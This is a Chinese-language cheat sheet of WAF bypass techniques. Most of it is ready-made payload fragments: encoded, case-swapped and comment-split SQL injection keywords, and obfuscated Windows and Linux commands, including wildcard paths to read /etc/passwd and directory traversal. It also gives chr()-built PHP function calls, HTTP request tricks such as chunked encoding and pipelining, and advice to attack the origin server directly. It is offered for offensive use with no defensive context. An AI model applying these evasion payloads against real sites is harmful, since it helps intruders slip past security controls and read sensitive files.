一些简单的绕过总结
对关键字进行不同编码
- select * from zzz = select * from %257a%257a%257a //url编码
- 单引号 = %u0027、%u02b9、%u02bc // Unicode编码
- adminuser = 0x61646D696E75736572 // 部分十六进制编码
- 空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码
对关键字进行大小写变换
- union select = uNIoN sELecT
通过其他语义相同的关键字替换
- And = &&
- Or = ||
- 等于 = like 或综合<与>判断
- if(a,b,c) = case when(A) then B else C end
- substr(str,1,1) = substr (str) from 1 for 1
- limit 1,1 = limit 1 offset 1
- Union select 1,2 = union select * from ((select 1)A join (select 2)B;
- hex()、bin() = ascii()
- sleep() = benchmark()
- concat_ws() = group_concat()
- mid()、substr() = substring()
- @@user = user()
- @@datadir = datadir()
配合Windows特性
- whoami = ((((Whoam""i)))) //利用符号分割字符执行whoami
- whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
- set a=123whoami456 // 为了方便演示这里设置一个变量
- echo %a:~3,6% // 取出变量a的第3位开始共计6个字符
- %a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
配合Linux特性
- whoami = w'h'o'a'm"i" //单引号或双引号连接符,需要闭合
- Cat /etc/passwd = cat /?t/??ss** //?,通配符
- whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符
- Whoami = a=who&&b=ami&&$a$b //当然linux下也可以变量拼接
- cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越, /被拦截
配合Mysql特性
- /**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配。
- User() = user//() // 注释符//也可以用于替换空格
- Union select = /95554/Union/test123/select
- /!/内敛注释,中间部分继续执行,mysql特有。
- User() = /!user/123/()/ // /!/内部继续执行
- Union select = /!union//123//!select/ //组合
- %0a换行与#单行注释符配合使用。
- Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句
配合过滤代码或漏洞本身
- 关键字被过滤,双写关键字。
- and = anandd //将关键字过滤掉后剩下的内容组成新的关键字
- 通过chr()函数变换关键字。
- phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41) //将acsii码通过chr()函数转换回来
- 通过base_convert() 函数变换关键字。
- phpinfo = base_convert(27440799224,10,32) //从10进制转换成32进制
http协议绕过
- Content-Type绕过
- application/x-www-form-urlencoded è multipart/form-data
- HTTP请求方式绕过
- get改为post
- keep-alive(Pipeline)绕过
- 将恶意代码隐藏在第n个请求中,绕过waf
- 分块传输绕过
- 将关键字and,or,select ,union等关键字拆开编码
- 修改编码方式:Charset绕过
- 大部分的WAF默认用UTF8编码检测
网络结构绕过
- 直接对源地址发起攻击,流量不会经过waf,从而成功绕过